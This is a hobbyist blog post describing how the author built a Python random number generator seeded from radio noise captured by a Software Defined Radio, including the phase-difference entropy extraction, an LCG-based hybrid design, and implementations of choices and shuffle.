For the uninitiated, this is an <strong>SDR</strong> (Software Defined Radio), a real-time visualization of the radio spectrum around me. Notice the constant flickering at the bottom? That's noise, pure and simple. <em>Nothing</em> is transmitting there, yet the intensity is constantly dancing. It's the same static you hear when tuning to an empty FM frequency. If we could capture and measure that movement, we'd have a source of <em><strong>true</strong></em> randomness, unpredictable and nearly impossible to manipulate.</p>
<p>So, based on that, I decided to get to work. Note that I will be using a <a href="https://www.SDR.com/v4/">SDR blog v4</a> to capture radio signals and compute them.</p>
<p>Here is a global overview of what I needed to do to get this project done:</p>
<ul>
<li><input disabled="" type="checkbox"> Find a way of getting the radio signals on my PC</li>
<li><input disabled="" type="checkbox"> Process them to generate randomness</li>
<li><input disabled="" type="checkbox"> Create the core functions</li>
<li><input disabled="" type="checkbox"> Add other functions on top of that</li>
<li><input disabled="" type="checkbox"> Check that everything works and isn't easily affected by external events</li>
</ul>
<h3 id="setting-up-the-foundation">Setting Up the Foundation</h3>
<p>So, first of all, I needed to find a way to programmatically access my radio data, served as samples. I'd tried this on Windows before with no luck, so this time I went straight to a <a href="https://gist.github.com/douxxtech/793fe37022d9551df3114f6d72498b94">template</a> that connects <strong>over the network</strong> on an <code>rtl_tcp</code> server running on one of my Raspberry Pis.</p>
<p>Once everything setup, I was able to receive samples. The code is quite simple, it uses a socket to connect to the rtl_tcp server, and then reads samples from it. Here is a part of the <code>read_samples</code> function, that reads and processes the signals:<br />
<img alt="codesnap" src="https://images.dbo.one/386dbaa4/" width=500 /></p>
<p>As we can see, it computes IQ samples. I and Q refer to two components of a <strong>complex baseband signal</strong>. They capture both amplitude and phase of the RF signal.</p>
<p>Well, anyways:</p>
<ul>
<li><input checked="" disabled="" type="checkbox"> <del>Find a way of getting the radio signals on my PC</del></li>
</ul>
<h3 id="creating-randomness">Creating Randomness</h3>
<p>The next step is building, as I like to call, the &quot;seeder&quot;. It is basically a function that will take, as an input, samples from our SDR, and output a seed we will base our calculations on later.<br />
To do this, I've tried a couple of ways  (2, actually), but the most efficient method was using <strong>Phase difference</strong>.</p>
<p>The phase is the <strong>angle</strong> of the signal at a given moment. It can be easily calculated using both values of an IQ sample using this formula:
<code>angle = atan2(Q, I)</code>.<br />
We'll do this for both the current iteration value (<code>n</code>), and the previous one (<code>n-1</code>).</p>
<p>After getting both angles, we will retrieve the phase difference, that will tell us in which direction the signal rotated since the previous sample. It can be done like this: <code>delta = (current_angle - previous_angle + π) % 2π - π</code></p>
<p>The wrapping in <code>π</code> is to ensure that the result stays between -π and +π, and doesn't make big jumps, like going from 2° to -359° just by rotating 3°.</p>
<p>We got the rotation angle, but that value is still too complex to be properly processed. We will reduce it to a simple <strong>bit</strong>. The easiest way to do this is by checking its direction:
<code>bit = delta &gt; 0 ? 1 : 0</code></p>
<p>Now that we got a bit, we're simply repeating this <code>n</code> samples times, to get a randomly generated bits array.</p>
<p>But there's a problem. After running the program, and logging some statistics, <strong>I observed more 1s than 0s</strong>, which isn't great, since the program would tend to go on the 1 side more than the 0 one.</p>
<p>Fixing that is easy, and there are plenty of methods available. I used a very simple one: XOR-ing all the values together, to spread the 1s and 0s. For those who don't know what it implies, it is a simple bit operation:</p>
<pre><code class="language-text">0 &amp; 0 -&gt; 0
0 &amp; 1 -&gt; 1
1 &amp; 0 -&gt; 1
1 &amp; 1 -&gt; 0
</code></pre>
<p>I used that to compare both bits each others, and the results were perfect: we went from a near 20% difference to a max of around 2%.</p>
<p>Finally, for convenience, I'm hashing the results to get an uniform seed to continue with (using SHA256).</p>
<ul>
<li><input checked="" disabled="" type="checkbox"> <del>Process the signals to generate randomness</del></li>
</ul>
<details>
<summary><code>Code explained in this part</code></summary>
<p></p>
<img src="https://images.dbo.one/f6a02ec2/" />
</details>
<h3 id="building-the-core-functionalities">Building the Core Functionalities</h3>
<p>We now have our random seed source, but now we have to let the user actually <em>use</em> it.<br />
My first plan: every time someone calls <code>.random()</code>, grab fresh samples from the SDR, generate a seed, and convert it to a float.</p>
<p>This was <strong>painfully slow</strong>: we were hitting the hardware for every single random number.</p>
<p>Solution: make it <strong>hybrid</strong>. Use a fast Pseudo-Random Number Generator (PRNG) that gets periodically reseeded with fresh radio entropy, instead of hitting the SDR every time.</p>
<p>This was fairly straightforward to achieve:</p>
<ul>
<li>We first update our seeder to update its seed each X milliseconds, using a runner thread.</li>
<li>Then, we create a Pseudo-Random Number generator. I used a simple <strong>Linear Congruential Generator</strong> (LCG), made with the help of <a href="https://www.youtube.com/watch?v=mXBGXU0zJnw">this very good video</a>.</li>
<li>We change our code to constantly feed the generator with our new seed.</li>
</ul>
<p>Now the code uses the LCG as a base, but it is always reseeded with our seeds taken from our radio samples.</p>
<p>Now, let's build our core random class, that we will call <code>RFDom</code>. We will optionally pass arguments to it, such as the rtl_tcp host, frequency ranges to scan, gain, and other settings.</p>
<p><code>.random()</code> (returns <code>[0.0, 1.0)</code>) was pretty simple to do, as it used the same code as the youtube tutorial, same for <code>.randint(a: int, b: int)</code>, that returns <code>[a, b]</code>. I've just had to implement a <code>include: bool</code> parameter to the LCG API, but that was quite easy.</p>
<details>
<summary><code>LCG .get_float()</code></summary>
<p></p>
<img src="https://images.dbo.one/dda6ace7/" />
</details>
<details>
<summary><code>RFDom .random()</code></summary>
<p></p>
<img src="https://images.dbo.one/a1096e26/" />
</details>
<p>And done !</p>
<ul>
<li><input checked="" disabled="" type="checkbox"> <del>Create the core functions</del></li>
</ul>
<h3 id="adding-other-stuff">Adding Other Stuff</h3>
<p>After adding <code>.random()</code> -&gt; <code>[0.0, 1.0)</code>, <code>.uniform(a: float, b: float)</code> -&gt; <code>[a, b]</code>, and <code>.randint(a: int, b: int)</code> -&gt; <code>[a, b]</code> I've looked to the core functions of the python <code>random</code> library, and tried to replicate them. Some of them were really easy, some were quite a bit harder to do. I'm not going to explain all of them, since it's just a bunch of formulas, but here are two that I found quite interesting:</p>
<h3 id="1-choices">1. Choices</h3>
<p>The <code>.choices()</code> func takes at max 4 arguments:</p>
<ul>
<li>population: a sequence of objects</li>
<li>weight (optional): the probability weight of each object to get picked</li>
<li>cum_weights (optional): preprocessed cumulative weights</li>
<li>k (optional): the number of objects to pick</li>
</ul>
<p>The way it works is pretty simple, even tho it was a bit hard to implement:</p>
<ol>
<li>Each population object has a weight, either the same for every object, or a given one for each object.</li>
<li>If no weight (or cum_weights) has been provided, simply take a random object in the <code>population</code> array <code>k</code> times.</li>
</ol>
<img src="https://images.dbo.one/94137cba/" />
<ol start="3">
<li>If a weight array is provided, we will need to build a cum_weight list, if it isn't already provided.</li>
</ol>
<p>The cumulative weights represent the range where a number falls into an object, like this:</p>
<pre><code class="language-text">objects -&gt; [&quot;apple&quot;, &quot;banana&quot;, &quot;orange&quot;]
weights -&gt; [4,        1,       6]

cum_weights = [4,     5,       11]

=&gt; 
apple -&gt; [0, 4)
banana -&gt; [4, 5)
orange -&gt; [5, 11)
</code></pre>
<ol start="4">
<li>Choose a random object <code>k</code> times, based on the weights:</li>
</ol>
<p>we use <code>.uniform(0, max_weight)</code> to get a float value, get the object falling in that range, add it to the list</p>
<ol start="5">
<li>Return the list: we return a list of <code>k</code> elements chosen randomly</li>
</ol>
<img src="https://images.dbo.one/36594512/" />
<h3 id="2-shuffle">2. shuffle</h3>
<p>The <code>.shuffle()</code> function is much simpler, but I wanted to talk about the algorithm.
It takes a list as the only argument and edits it in-place (doesn't return it, but changes the original).</p>
<p>To do this, we're using the Fisher-Yates algorithm:</p>
<ul>
<li>Starting from the beginning of the list, for each index <code>i</code>, a random index <code>j</code> is chosen from the range <code>[i, n - 1]</code>, and the elements at positions <code>i</code> and <code>j</code> are swapped.</li>
<li>Repeat until everything has been shuffled.</li>
</ul>
<p>It is represented by this code:<br />
<img src="https://images.dbo.one/71da375e/" /></p>
<ul>
<li><input checked="" disabled="" type="checkbox"> <del>Add other functions on top of that</del></li>
</ul>
<h3 id="trying-to-break-the-randomizer">Trying to break the randomizer</h3>
<p>My first idea (before even starting the project) was to try to break it out by overflowing the bandwidth using <a href="https://git.douxx.tech/fmjam/">this tool</a>.</p>
<p>I then made this simple code to have an eye on the values</p>
<img src="https://images.dbo.one/432fe4b2/" />
<p>I ran it, first without any special radio broadcast or whatsoever.</p>
<p>Then, I ran the program, and I observed. No changes at all, but that was predictable. Even with the bandwidth saturated, oscillations in the signal are still there, and the phase difference still works. I also later had an AI analyze the results, which confirmed there weren't any major changes.</p>
<ul>
<li><input checked="" disabled="" type="checkbox"> <del>Check that everything works and isn't easily affected by external events</del></li>
</ul>
<h2 id="for-the-end">For the End</h2>
<p>This project began with a simple question: <em>where does randomness actually come from ?</em>, and turned into a deep dive into radio physics, signal processing, entropy extraction, and practical limits.</p>
<p>Building this taught me that randomness isn't magic: it's <strong>trade-offs</strong>. Hardware entropy is slow but truly random. PRNGs are fast but predictable. Combining both? That's where it gets interesting.</p>
<p>Is this generator cryptographically secure ? Probably not. Is it faster than Python's built-in <code>random</code> ? Definitely not. Would I recommend using this in production (or in general) ? Absolutely not.</p>
<p>But that <strong>was never the point</strong>.</p>
<p>In the end, I won't replace the casual <code>import random</code> when I need randomness, but I learned how this works behind the scenes, even if it's only a fraction of the modern random generators.</p>
<p>If you're interested into seeing the full code, I uploaded it to <a href="https://git.douxx.tech/RFDom">my GitHub</a>. Usage examples can be found in the <code>/examples/</code> dir, and installation instructions on the README.</p>
<h3 id="additional-resources">Additional Resources</h3>
<p>Here are some links of videos / websites that I used to understand the subject better (not in any specific order). I might've forgotten some.</p>
<ul>
<li>Random number generation - <a href="https://en.wikipedia.org/wiki/Random_number_generation">Wikipedia</a></li>
<li>Pseudo-Random Number Generator From Scratch in Python - <a href="https://www.youtube.com/watch?v=mXBGXU0zJnw">YouTube</a></li>
<li>Entropy (information theory) - <a href="https://en.wikipedia.org/wiki/Entropy_(information_theory)">Wikipedia</a></li>
<li>XOR (Exclusive or) - <a href="https://en.wikipedia.org/wiki/Exclusive_or">Wikipedia</a></li>
<li>Fisher–Yates shuffle - <a href="https://en.wikipedia.org/wiki/Fisher%E2%80%93Yates_shuffle">Wikipedia</a></li>
<li>Linear congruential generator - <a href="https://en.wikipedia.org/wiki/Linear_congruential_generator">Wikipedia</a></li>
<li>SHA256 - <a href="http://en.wikipedia.org/wiki/SHA-2">Wikipedia</a></li>
</ul>
<h3 id="the-actual-generator">The Actual Generator</h3>
<img alr="A SDR connected to a raspberry pi" src="https://images.dbo.one/19367830/" width=300/> 
]]></content:encoded>
                                    <media:content url="https://images.dbo.one/10cd4a5a" medium="image"
                        type="image/png" />
                            </item>
                    <item>
                <title>Settings</title>
                <link>https://douxx.blog/settings</link>
                <pubDate>Thu, 01 Jan 1970 00:00:00 +0000</pubDate>
                                <guid>https://douxx.blog/settings</guid>
                                    <category>settings</category>
                                                <content:encoded><![CDATA[<p><em>Some features may only be available on the <a href="https://douxx.blog/settings">original post</a>.</em></p><p>Here are located your settings on douxx.blog. Changes will be reflected immediately.<br />
Please note that these changes are local to your specific browser and you may need to configure them again if you change browser or device.</p>
<h2 id="comments-name">Comments Name</h2>
<p>This is the default name when posting comments. It is pre-filled on forms but you'll still be able to change it.</p>
<input id="comments-name" type="text" style="font-family: var(--font-ui); font-size: 0.95rem; border: 1px solid var(--color-border); border-radius: 4px; padding: 0.6rem 0.75rem; outline: none; color: var(--color-ink); background: var(--color-code-bg);" placeholder="Your name...">
<h2 id="views-tracking">Views Tracking</h2>
<input id="track-views" name="track-views" type="checkbox" checked>
<label for="track-views">Track views</label>
<p>This blog uses one of my third-party services to fetch how much unique readers an article got. You can opt-out by unchecking the checkbox above. <a href="https://dpip.lol/privacy">Privacy policy</a></p>
]]></content:encoded>
                            </item>
            </channel>
</rss>